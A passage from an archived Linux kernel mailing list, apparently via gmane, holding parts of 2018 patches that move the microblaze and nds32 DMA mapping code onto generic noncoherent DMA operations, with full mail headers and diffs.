-	for_each_sg(sgl, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		__dma_sync(sg_phys(sg), sg->length, direction);
-	}
-
-	return nents;
-}
-
-static inline dma_addr_t dma_nommu_map_page(struct device *dev,
-					     struct page *page,
-					     unsigned long offset,
-					     size_t size,
-					     enum dma_data_direction direction,
-					     unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync(page_to_phys(page) + offset, size, direction);
-	return page_to_phys(page) + offset;
+	__dma_sync(dev, paddr, size, dir);
 }
 
-static inline void dma_nommu_unmap_page(struct device *dev,
-					 dma_addr_t dma_address,
-					 size_t size,
-					 enum dma_data_direction direction,
-					 unsigned long attrs)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-/* There is not necessary to do cache cleanup
- *
- * phys_to_virt is here because in __dma_sync_page is __virt_to_phys and
- * dma_address is physical address
- */
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync(dma_address, size, direction);
+	__dma_sync(dev, paddr, size, dir);
 }
 
-static inline void
-dma_nommu_sync_single_for_cpu(struct device *dev,
-			       dma_addr_t dma_handle, size_t size,
-			       enum dma_data_direction direction)
-{
-	/*
-	 * It's pointless to flush the cache as the memory segment
-	 * is given to the CPU
-	 */
-
-	if (direction == DMA_FROM_DEVICE)
-		__dma_sync(dma_handle, size, direction);
-}
-
-static inline void
-dma_nommu_sync_single_for_device(struct device *dev,
-				  dma_addr_t dma_handle, size_t size,
-				  enum dma_data_direction direction)
-{
-	/*
-	 * It's pointless to invalidate the cache if the device isn't
-	 * supposed to write to the relevant region
-	 */
-
-	if (direction == DMA_TO_DEVICE)
-		__dma_sync(dma_handle, size, direction);
-}
-
-static inline void
-dma_nommu_sync_sg_for_cpu(struct device *dev,
-			   struct scatterlist *sgl, int nents,
-			   enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	if (direction == DMA_FROM_DEVICE)
-		for_each_sg(sgl, sg, nents, i)
-			__dma_sync(sg->dma_address, sg->length, direction);
-}
-
-static inline void
-dma_nommu_sync_sg_for_device(struct device *dev,
-			      struct scatterlist *sgl, int nents,
-			      enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	/* FIXME this part of code is untested */
-	if (direction == DMA_TO_DEVICE)
-		for_each_sg(sgl, sg, nents, i)
-			__dma_sync(sg->dma_address, sg->length, direction);
-}
-
-static
-int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
-			     void *cpu_addr, dma_addr_t handle, size_t size,
-			     unsigned long attrs)
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t handle, size_t size,
+		unsigned long attrs)
 {
 #ifdef CONFIG_MMU
 	unsigned long user_count = vma_pages(vma);
@@ -170,17 +64,3 @@ int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 	return -ENXIO;
 #endif
 }
-
-const struct dma_map_ops dma_nommu_ops = {
-	.alloc			= dma_nommu_alloc_coherent,
-	.free			= dma_nommu_free_coherent,
-	.mmap			= dma_nommu_mmap_coherent,
-	.map_sg			= dma_nommu_map_sg,
-	.map_page		= dma_nommu_map_page,
-	.unmap_page		= dma_nommu_unmap_page,
-	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
-	.sync_single_for_device	= dma_nommu_sync_single_for_device,
-	.sync_sg_for_cpu	= dma_nommu_sync_sg_for_cpu,
-	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
-};
-EXPORT_SYMBOL(dma_nommu_ops);
diff --git a/arch/microblaze/mm/consistent.c b/arch/microblaze/mm/consistent.c
index b06c3a7faf20..b9a9c8c3397b 100644
--- a/arch/microblaze/mm/consistent.c
+++ b/arch/microblaze/mm/consistent.c
@@ -33,6 +33,7 @@
 #include <linux/pci.h>
 #include <linux/interrupt.h>
 #include <linux/gfp.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/pgalloc.h>
 #include <linux/io.h>
@@ -59,7 +60,8 @@
  * uncached region.  This will no doubt cause big problems if memory allocated
  * here is not also freed properly. -- JW
  */
-void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long order, vaddr;
 	void *ret;
@@ -154,7 +156,6 @@ void *consistent_alloc(gfp_t gfp, size_t size, dma_addr_t *dma_handle)
 
 	return ret;
 }
-EXPORT_SYMBOL(consistent_alloc);
 
 #ifdef CONFIG_MMU
 static pte_t *consistent_virt_to_pte(void *vaddr)
@@ -178,7 +179,8 @@ unsigned long consistent_virt_to_pfn(void *vaddr)
 /*
  * free page(s) as defined by the above mapping.
  */
-void consistent_free(size_t size, void *vaddr)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	struct page *page;
 
@@ -218,7 +220,6 @@ void consistent_free(size_t size, void *vaddr)
 	flush_tlb_all();
 #endif
 }
-EXPORT_SYMBOL(consistent_free);
 
 /*
  * make an area consistent.
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 09/20] microblaze: remove the consistent_sync and
	consistent_sync_page
Date: Fri, 11 May 2018 09:59:34 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <20180511075945.16548-10-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025567 2037 195.159.176.226 (11 May 2018 07:59:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:59:27 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:59:21 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2xV-0000PI-5p
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:59:21 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id EFF44C87;
	Fri, 11 May 2018 08:01:29 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 47503C7D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:28 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B1C326A3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:27 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=LLyJNtx/BepX/M+B24u3RCr0bz9L10S56ZmhZoMND1w=;
	b=cgKDv6aLFwgEd0wOHR2nnt3iN
	DI2mSO97yVTRoxC0l6IYeZegYzOBkij08O46SFQZy6Q2NnRo0MxVfMQFfj9jjY2oD7HoLc16BaVEL
	gTUNmUniwn5cuG3rvXE07T1zfFKSl87d621OamSFxK5uH1wMrEO4JIF89FJQv8+nwjGByO2eB7kOh
	YJxCVZvodLBg5bvIRqYdF1s0unXYzJFrNBHlbggjhsAVcCdQtiIROQDmDDzKSO2DFy8TB6oJmIqhA
	UfKoIhMfsqEIoxJJe5wE6CJxiRX5kqcELwx81MZa7ONY5Lz36HXzrvZDuT5R6fzMf/EP3441jJZMp
	LE3ldbBQg==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2z8-00087E-V2; Fri, 11 May 2018 08:01:05 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24176 gmane.linux.kernel.cross-arch:44020 gmane.linux.ports.parisc:28603 gmane.linux.ports.sh.devel:57009 gmane.linux.ports.hexagon:1706 gmane.linux.kernel:2764210 gmane.linux.ports.alpha:5031 gmane.linux.ports.sparc:27858 gmane.linux.kernel.arc:3872 gmane.linux.ports.arm.kernel:649159
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24176>

Both unused.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/microblaze/include/asm/pgtable.h |  3 --
 arch/microblaze/mm/consistent.c       | 45 ---------------------------
 2 files changed, 48 deletions(-)

diff --git a/arch/microblaze/include/asm/pgtable.h b/arch/microblaze/include/asm/pgtable.h
index 8a2e654b709f..7b650ab14fa0 100644
--- a/arch/microblaze/include/asm/pgtable.h
+++ b/arch/microblaze/include/asm/pgtable.h
@@ -553,9 +553,6 @@ void __init *early_get_page(void);
 
 extern unsigned long ioremap_bot, ioremap_base;
 
-void consistent_sync(void *vaddr, size_t size, int direction);
-void consistent_sync_page(struct page *page, unsigned long offset,
-	size_t size, int direction);
 unsigned long consistent_virt_to_pfn(void *vaddr);
 
 void setup_memory(void);
diff --git a/arch/microblaze/mm/consistent.c b/arch/microblaze/mm/consistent.c
index b9a9c8c3397b..c9a278ac795a 100644
--- a/arch/microblaze/mm/consistent.c
+++ b/arch/microblaze/mm/consistent.c
@@ -220,48 +220,3 @@ void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 	flush_tlb_all();
 #endif
 }
-
-/*
- * make an area consistent.
- */
-void consistent_sync(void *vaddr, size_t size, int direction)
-{
-	unsigned long start;
-	unsigned long end;
-
-	start = (unsigned long)vaddr;
-
-	/* Convert start address back down to unshadowed memory region */
-#ifdef CONFIG_XILINX_UNCACHED_SHADOW
-	start &= ~UNCACHED_SHADOW_MASK;
-#endif
-	end = start + size;
-
-	switch (direction) {
-	case PCI_DMA_NONE:
-		BUG();
-	case PCI_DMA_FROMDEVICE:	/* invalidate only */
-		invalidate_dcache_range(start, end);
-		break;
-	case PCI_DMA_TODEVICE:		/* writeback only */
-		flush_dcache_range(start, end);
-		break;
-	case PCI_DMA_BIDIRECTIONAL:	/* writeback and invalidate */
-		flush_dcache_range(start, end);
-		break;
-	}
-}
-EXPORT_SYMBOL(consistent_sync);
-
-/*
- * consistent_sync_page makes memory consistent. identical
- * to consistent_sync, but takes a struct page instead of a
- * virtual address
- */
-void consistent_sync_page(struct page *page, unsigned long offset,
-	size_t size, int direction)
-{
-	unsigned long start = (unsigned long)page_address(page) + offset;
-	consistent_sync((void *)start, size, direction);
-}
-EXPORT_SYMBOL(consistent_sync_page);
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 10/20] nds32: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:35 +0200
Lines: 305
Approved: news@gmane.org
Message-ID: <20180511075945.16548-11-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025578 2707 195.159.176.226 (11 May 2018 07:59:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:59:38 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:59:32 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2xg-0000au-7I
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:59:32 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 47666C96;
	Fri, 11 May 2018 08:01:43 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 8C393C7D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:42 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D58036A4
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:41 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=9ERjUyVwC0ty1UAHbvD/uX9kNbAXcl8t3Yn33QwyJR8=;
	b=oePgOPfj6XxRhFjPQjEZAbBWA
	oV36c+7XFDXQOLPO10JfJYuwalWMJi4h0BsVJwOjhe5v4IQYi1ZU+1yqoWLxsLSq4UJBIZ8KORoBS
	y/4fxONkOJ32mGB6pwsTLj6qEPA2E/wUeWb8+WJkPMp0fOP8ofdC+2nAwvZkk71mYU9tQROmBiTb1
	VtXf9FRLR+IKYy4nnLd3ovIx4oZ//Ug5Mt6y3bAu1WrHzV0atn0V9QVaMoab7tnnzaFZ0lHaBocbb
	E6nW4qoOK5hJBc9JgrF2TLniuEf/di0ELzS5tVmlM4NLKzf9u/5y4sKPcB3ywziZff7qbkiWiDh4G
	zr9rskcvQ==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2zF-0008At-94; Fri, 11 May 2018 08:01:19 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24177 gmane.linux.kernel.cross-arch:44021 gmane.linux.ports.parisc:28604 gmane.linux.ports.sh.devel:57010 gmane.linux.ports.hexagon:1707 gmane.linux.kernel:2764211 gmane.linux.ports.alpha:5032 gmane.linux.ports.sparc:27859 gmane.linux.kernel.arc:3873 gmane.linux.ports.arm.kernel:649160
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24177>

Switch to the generic noncoherent direct mapping implementation.

This makes sure the cache_sync routines is called in the unmap_sg
case, to match the unmap_single and sync_{single,sg}_to_cpu cases.

Note that this now always uses page_address, as previously done
in the non-sg cache sync routines.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/nds32/Kconfig                   |   3 +
 arch/nds32/include/asm/Kbuild        |   1 +
 arch/nds32/include/asm/dma-mapping.h |  14 ---
 arch/nds32/kernel/dma.c              | 182 ++++++---------------------
 4 files changed, 39 insertions(+), 161 deletions(-)
 delete mode 100644 arch/nds32/include/asm/dma-mapping.h

diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
index 249f38d3388f..67d0ac0a989c 100644
--- a/arch/nds32/Kconfig
+++ b/arch/nds32/Kconfig
@@ -5,10 +5,13 @@
 
 config NDS32
         def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_WANT_FRAME_POINTERS if FTRACE
 	select CLKSRC_MMIO
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_CPU_DEVICES
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
index 06bdf8167f5a..b3e951f805f8 100644
--- a/arch/nds32/include/asm/Kbuild
+++ b/arch/nds32/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += cputime.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += errno.h
 generic-y += exec.h
diff --git a/arch/nds32/include/asm/dma-mapping.h b/arch/nds32/include/asm/dma-mapping.h
deleted file mode 100644
index 2dd47d245c25..000000000000
--- a/arch/nds32/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,14 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-// Copyright (C) 2005-2017 Andes Technology Corporation
-
-#ifndef ASMNDS32_DMA_MAPPING_H
-#define ASMNDS32_DMA_MAPPING_H
-
-extern struct dma_map_ops nds32_dma_ops;
-
-static inline struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &nds32_dma_ops;
-}
-
-#endif
diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index d291800fc621..48018275e7f4 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -3,17 +3,14 @@
 
 #include <linux/types.h>
 #include <linux/mm.h>
-#include <linux/export.h>
 #include <linux/string.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/io.h>
 #include <linux/cache.h>
 #include <linux/highmem.h>
 #include <linux/slab.h>
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
-#include <asm/dma-mapping.h>
 #include <asm/proc-fns.h>
 
 /*
@@ -22,11 +19,6 @@
 static pte_t *consistent_pte;
 static DEFINE_RAW_SPINLOCK(consistent_lock);
 
-enum master_type {
-	FOR_CPU = 0,
-	FOR_DEVICE = 1,
-};
-
 /*
  * VM region handling support.
  *
@@ -124,10 +116,8 @@ static struct arch_vm_region *vm_region_find(struct arch_vm_region *head,
 	return c;
 }
 
-/* FIXME: attrs is not used. */
-static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
-				      dma_addr_t * handle, gfp_t gfp,
-				      unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	struct page *page;
 	struct arch_vm_region *c;
@@ -232,8 +222,8 @@ static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
 	return NULL;
 }
 
-static void nds32_dma_free(struct device *dev, size_t size, void *cpu_addr,
-			   dma_addr_t handle, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t handle, unsigned long attrs)
 {
 	struct arch_vm_region *c;
 	unsigned long flags, addr;
@@ -333,145 +323,43 @@ static int __init consistent_init(void)
 }
 
 core_initcall(consistent_init);
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type);
-static dma_addr_t nds32_dma_map_page(struct device *dev, struct page *page,
-				     unsigned long offset, size_t size,
-				     enum dma_data_direction dir,
-				     unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync((void *)(page_address(page) + offset), size, dir, FOR_DEVICE);
-	return page_to_phys(page) + offset;
-}
-
-static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync(phys_to_virt(handle), size, dir, FOR_CPU);
-}
 
-/*
- * Make an area consistent for devices.
- */
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	unsigned long start = (unsigned long)vaddr;
-	unsigned long end = start + size;
-
-	if (master_type == FOR_CPU) {
-		switch (direction) {
-		case DMA_TO_DEVICE:
-			break;
-		case DMA_FROM_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_inval_range(start, end);
-			break;
-		default:
-			BUG();
-		}
-	} else {
-		/* FOR_DEVICE */
-		switch (direction) {
-		case DMA_FROM_DEVICE:
-			break;
-		case DMA_TO_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_wb_range(start, end);
-			break;
-		default:
-			BUG();
-		}
+	void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
+	unsigned long start = (unsigned long)addr;
+
